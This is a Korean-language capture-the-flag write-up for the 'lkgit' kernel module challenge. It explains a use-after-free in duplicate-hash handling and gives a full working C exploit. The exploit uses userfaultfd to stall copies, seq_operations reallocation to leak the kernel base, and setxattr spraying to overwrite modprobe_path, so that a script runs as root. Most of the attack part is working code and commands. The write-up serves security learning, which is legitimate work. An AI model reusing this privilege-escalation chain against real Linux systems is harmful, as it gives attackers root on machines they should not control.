lkgit
취약점 분석
lkgit.ko는 최대 0x30개의 Git 객체를 전역 objects 배열에 저장한다. 커널 객체와 사용자 요청 구조체의 형태는 다음과 같다.
struct hash_object {
char hash[0x10];
char *content;
char *message;
}; // 0x20 bytes, kmalloc-32
struct log_object {
char hash[0x10];
char content[0x40];
char message[0x20];
}; // 0x70 bytes1. 중복 해시 교체 과정의 Use-After-Free
LKGIT_HASH_OBJECT를 처리하는 lkgit_hash_object()는 새 객체의 해시와 같은 객체를 찾으면 기존 hash_object를 즉시 해제한다. 이 함수는 컴파일 과정에서 lkgit_ioctl() 내부에 인라인되었다.
old_idx = find_by_hash(new_obj->hash);
if (old_idx != -1) {
kfree(objects[old_idx]);
objects[old_idx] = NULL;
}
for (i = 0; i < HISTORY_MAXSZ; i++) {
if (objects[i] == NULL) {
objects[i] = new_obj;
return 0;
}
}objects에 대한 잠금이나 참조 횟수 관리가 없다. 따라서 lkgit_get_object() 또는 lkgit_amend_message()가 기존 객체 포인터를 보관한 동안 같은 해시를 다시 등록하면 사용 중인 0x20바이트 객체가 해제된다. 해제된 청크를 다른 kmalloc-32 객체로 재할당하면 저장된 포인터를 통해 새 객체의 데이터를 읽거나 포인터 필드를 조작할 수 있다.
기존 객체의 content와 message는 함께 해제되지 않으므로 메모리 누수도 발생한다.
2. Userfaultfd로 확장 가능한 stale pointer 사용
lkgit_get_object()는 전역 배열에서 얻은 obj를 여러 copy_to_user() 호출에 걸쳐 계속 사용한다. 마지막에는 obj의 첫 0x10바이트를 사용자에게 복사한다.
obj = objects[find_by_hash(req->hash)];
if (copy_to_user(req->content, obj->content, 0x40))
return LKGIT_ERR_UNKNOWN;
/* content의 해시 검증 */
if (copy_to_user(req->message, obj->message, 0x20))
return LKGIT_ERR_UNKNOWN;
if (copy_to_user(req, obj, 0x10))
return LKGIT_ERR_UNKNOWN;req->message가 userfaultfd로 등록된 미할당 페이지에 위치하면 해당 copy_to_user()를 중단할 수 있다. 중단된 동안 동일 해시 객체를 등록해 obj를 해제하고 struct seq_operations로 재할당하면, 마지막 copy_to_user(req, obj, 0x10)이 함수 포인터를 유출한다.
lkgit_amend_message()에도 같은 문제가 있다. 이 함수는 obj를 먼저 구한 뒤 사용자 메모리에서 새 메시지를 읽고, 마지막에 obj->message를 목적지로 사용한다.
obj = objects[find_by_hash(req->hash)];
if (copy_from_user(new_message, req->message, 0x20))
return LKGIT_ERR_UNKNOWN;
ret = lkgit_get_object(req);
memcpy(obj->message, new_message, 0x20);copy_from_user()를 userfaultfd로 중단한 뒤 obj를 해제하고 공격자 데이터로 재할당할 수 있다. 재할당된 청크의 +0x18을 원하는 주소로 설정하면 obj->message가 그 주소를 가리키므로 0x20바이트 임의 쓰기가 가능하다.
Exploit 과정
Step 1: 객체 생성 및 userfaultfd 배치
두 페이지를 연속으로 매핑하고 두 번째 페이지만 userfaultfd에 등록한다. 요청 구조체를 첫 페이지 끝의 -0x50 위치에 두면 hash와 content는 첫 페이지에 있고, message는 두 번째 페이지의 시작에 놓인다.
page2 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page1 = mmap(page2 - 0x1000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
setup_userfaultfd(page2, 0x1000);
ioctl(fd, LKGIT_HASH_OBJECT, &obj);
memcpy(page1 + 0x1000 - 0x40 - 0x10, obj.hash, HASH_SIZE);GET_OBJECT가 message를 복사할 때 두 번째 페이지에서 page fault가 발생한다.
Step 2: seq_operations 재할당과 커널 베이스 유출
첫 page fault에서 같은 obj를 다시 등록한다. 중복 해시 처리로 GET_OBJECT가 보관 중인 기존 hash_object가 해제된다. 이어서 /proc/self/stat을 열면 single_open()이 할당하는 0x20바이트 struct seq_operations가 해당 청크를 재사용한다.
if (uffd_count++ == 0) {
ioctl(fd, LKGIT_HASH_OBJECT, &obj);
seq_op = open("/proc/self/stat", O_RDONLY);
}page fault를 해제하면 lkgit_get_object()의 마지막 copy_to_user()가 재할당된 seq_operations의 앞 0x10바이트를 반환한다. 첫 필드는 single_start 함수 포인터이다. single_start의 커널 이미지 오프셋은 0x1adc20이고 modprobe_path의 오프셋은 0xc3cb20이다.
kbase = *(uint64_t *)(page1 + 0x1000 - 0x40 - 0x10) - 0x1adc20;
modprobe_path_addr = kbase + 0xc3cb20;Step 3: setxattr 재할당으로 임의 쓰기 구성
madvise(MADV_DONTNEED)로 두 번째 페이지를 다시 미할당 상태로 만든 뒤 같은 경계 주소로 LKGIT_AMEND_MESSAGE를 호출한다. 함수는 대상 hash_object 포인터를 rbx에 저장한 다음 req->message를 읽다가 두 번째 page fault에서 중단된다.
madvise(page2, 0x1000, MADV_DONTNEED);
memcpy(page1 + 0x1000 - 0x40 - 0x10, obj.hash, HASH_SIZE);
ioctl(fd, LKGIT_AMEND_MESSAGE, page1 + 0x1000 - 0x40 - 0x10);두 번째 fault handler는 같은 해시를 다시 등록해 보관 중인 객체를 해제한다. 이어서 크기 0x20인 xattr 값을 전달한다. setxattr()의 임시 커널 버퍼가 해제된 kmalloc-32 청크를 재사용하며, hash_object.message와 같은 +0x18 위치에 modprobe_path 주소가 놓인다.
ioctl(fd, LKGIT_HASH_OBJECT, &obj);
char buf[0x20] = {0};
*(uint64_t *)(buf + 0x18) = modprobe_path_addr;
setxattr("/tmp", "x", buf, sizeof(buf), 0);handler가 faulting page에 /tmp/ex를 복사하면 lkgit_amend_message()의 new_message에는 이 문자열이 저장된다. 함수가 재개된 뒤 stale pointer의 +0x18을 목적지로 읽으므로 modprobe_path에 /tmp/ex가 기록된다.
memset((void *)uffdio_copy.src, 0, 0x1000);
strcpy((char *)uffdio_copy.src, "/tmp/ex\0");Step 4: modprobe_path 실행과 플래그 획득
/tmp/ex에 플래그 권한을 변경하는 스크립트를 만든다. 알 수 없는 형식의 실행 파일을 실행하면 커널이 변경된 modprobe_path를 호출하고 스크립트가 root 권한으로 실행된다.
system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag\n' > /tmp/ex");
system("chmod +x /tmp/ex");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
system("cat /home/user/flag");Exploit Code
#define _GNU_SOURCE
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/userfaultfd.h>
#define LKGIT_HASH_OBJECT 0xdead0001
#define LKGIT_AMEND_MESSAGE 0xdead0003
#define LKGIT_GET_OBJECT 0xdead0004
#define LKGIT_ERR_UNIMPLEMENTED 0xdead1000
#define LKGIT_ERR_OBJECT_NOTFOUND 0xdead1001
#define LKGIT_ERR_UNKNOWN 0xdead1100
#define FILE_MAXSZ 0x40
#define MESSAGE_MAXSZ 0x20
#define HISTORY_MAXSZ 0x30
#define HASH_SIZE 0x10
typedef struct
{
char hash[HASH_SIZE];
char *content;
char *message;
} hash_object;
typedef struct
{
char hash[HASH_SIZE];
char content[FILE_MAXSZ];
char message[MESSAGE_MAXSZ];
} log_object;
hash_object obj;
uint64_t fd, page1, page2, seq_op, kbase, modprobe_path_addr;
int uffd_count = 0;
void *uffd_handler(void *arg)
{
while (1)
{
struct uffd_msg msg;
ssize_t nread = read((int)(long)arg, &msg, sizeof(msg));
if (nread == 0)
{
info("uffd_handler: EOF");
break;
}
else if (nread == -1)
{
perror("uffd_handler: read");
break;
}
if (msg.event != UFFD_EVENT_PAGEFAULT)
{
info("uffd_handler: unexpected event %u", msg.event);
continue;
}
info("uffd_handler: pagefault at %p", (void *)msg.arg.pagefault.address);
if (uffd_count++ == 0)
{
// first page fault, just return to let the kernel handle it
info("uffd_handler: first page fault, returning");
// create a second object with the same hash to free the first one
ioctl(fd, LKGIT_HASH_OBJECT, &obj);
seq_op = open("/proc/self/stat", O_RDONLY);
}
else
{
// second page fault, overwrite obj->message with modprobe_path address
info("uffd_handler: second page fault, overwriting obj->message with modprobe_path address");
ioctl(fd, LKGIT_HASH_OBJECT, &obj);
char buf[0x20] = {0};
*(uint64_t *)(buf + 0x18) = modprobe_path_addr;
setxattr("/tmp", "x", buf, sizeof(buf), 0);
}
// Allocate a new page and copy the contents to the faulting address
struct uffdio_copy uffdio_copy;
uffdio_copy.src = (unsigned long)malloc(0x1000);
memset((void *)uffdio_copy.src, 0, 0x1000);
strcpy((char *)uffdio_copy.src, "/tmp/ex\0"); // 아마 이쪽에 strcpy로 원하는 내용을 넣어야 할 것 같음
uffdio_copy.dst = msg.arg.pagefault.address & ~(0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl((int)(long)arg, UFFDIO_COPY, &uffdio_copy) == -1)
{
perror("uffd_handler: ioctl-UFFDIO_COPY");
break;
}
}
}
int setup_userfaultfd(void *addr, size_t len)
{
int uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
{
perror("userfaultfd");
return -1;
}
struct uffdio_api uffdio_api;
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
{
perror("ioctl-UFFDIO_API");
return -1;
}
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
{
perror("ioctl-UFFDIO_REGISTER");
return -1;
}
pthread_t uffd_thread;
if (pthread_create(&uffd_thread, NULL, uffd_handler, (void *)(long)uffd) != 0)
{
perror("pthread_create");
return -1;
}
return uffd;
}
int main()
{
important("happy hacking!");
fd = open("/dev/lkgit", O_RDWR);
if (fd < 0)
{
perror("open");
return 1;
}
info("opened /dev/lkgit");
// create two maps for userfaultfd
page2 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page1 = mmap(page2 - 0x1000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
memset(page1, 0, 0x1000);
info("mmaped two pages at %p and %p", page1, page2);
// set up userfaultfd
int uffd = setup_userfaultfd(page2, 0x1000);
// create a new object
memset(&obj, 0, sizeof(obj));
obj.content = malloc(FILE_MAXSZ);
obj.message = malloc(MESSAGE_MAXSZ);
memset(obj.content, 0, FILE_MAXSZ);
memset(obj.message, 0, MESSAGE_MAXSZ);
strcpy(obj.content, "hello world");
strcpy(obj.message, "first commit");
ioctl(fd, LKGIT_HASH_OBJECT, &obj);
info("new object created");
hexdump(&obj, sizeof(obj));
// trigger the page fault by accessing the first page
memcpy(page1 + 0x1000 - 0x40 - 0x10, obj.hash, HASH_SIZE);
info("triggering page fault by accessing page1");
ioctl(fd, LKGIT_GET_OBJECT, page1 + 0x1000 - 0x40 - 0x10);
hexdump(page1 + 0x1000 - 0x40 - 0x10, 0x10);
// leak the kernel base and modprobe_path address
kbase = *(uint64_t *)(page1 + 0x1000 - 0x40 - 0x10) - 0x1adc20;
modprobe_path_addr = kbase + 0xc3cb20;
info("kernel base: %p", (void *)kbase);
info("modprobe_path: %p", (void *)modprobe_path_addr);
// delete page2
madvise(page2, 0x1000, MADV_DONTNEED);
// overwrite modprobe_path with "/tmp/ex"
memcpy(page1 + 0x1000 - 0x40 - 0x10, obj.hash, HASH_SIZE);
info("triggering page fault by accessing page1");
ioctl(fd, LKGIT_AMEND_MESSAGE, page1 + 0x1000 - 0x40 - 0x10);
// set up the modprobe_path overwrite script
system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag\n' > /tmp/ex");
system("chmod +x /tmp/ex");
// trigger the modprobe_path execution
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
// read the flag
system("cat /home/user/flag");
return 0;
}